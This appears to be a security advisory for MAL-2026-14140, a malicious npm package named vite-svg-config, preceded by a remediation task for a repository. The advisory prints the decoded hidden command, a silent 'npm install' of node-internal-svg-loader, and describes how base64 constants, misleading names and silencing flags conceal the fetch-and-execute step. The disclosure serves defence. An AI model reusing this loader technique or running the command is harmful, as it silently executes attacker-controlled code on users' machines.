MAL-2026-14140 Malicious code in vite-svg-config (npm)
Malicious package
Published
MAL-2026-14140 is a malicious package: vite-svg-config (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-14140/ (Markdown: https://insights.sbomify.com/MAL-2026-14140/index.md)
- Package
- vite-svg-config
- Registry
- npm
What is MAL-2026-14140?
MAL-2026-14140 is a malicious package in vite-svg-config, published on 18 Aug 2026.
Official description
The package's exported getPlugin/setPlugin functions decode two base64 constants (svgValidateKey, svgValidatePattern) at runtime. svgValidateKey decodes to the shell command
npm install node-internal-svg-loader --no-save --silent --no-audit --no-fund, which is spawned with stdio:'ignore', windowsHide:true, and shell:true on Windows. svgValidatePattern decodes to the package name node-internal-svg-loader, which is then dynamically required and whose getPlugin() export is invoked. The command and target package name are both hidden behind base64 constants and misleading identifiers framed as SVG validation. Silencing flags (–silent, –no-audit, –no-fund, windowsHide) suppress user-visible output of the install. The result is that any consumer calling the package's advertised plugin API pulls and executes a separate npm package, whose contents are controlled by whoever owns that name, on the caller's machine.What should I do about MAL-2026-14140?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.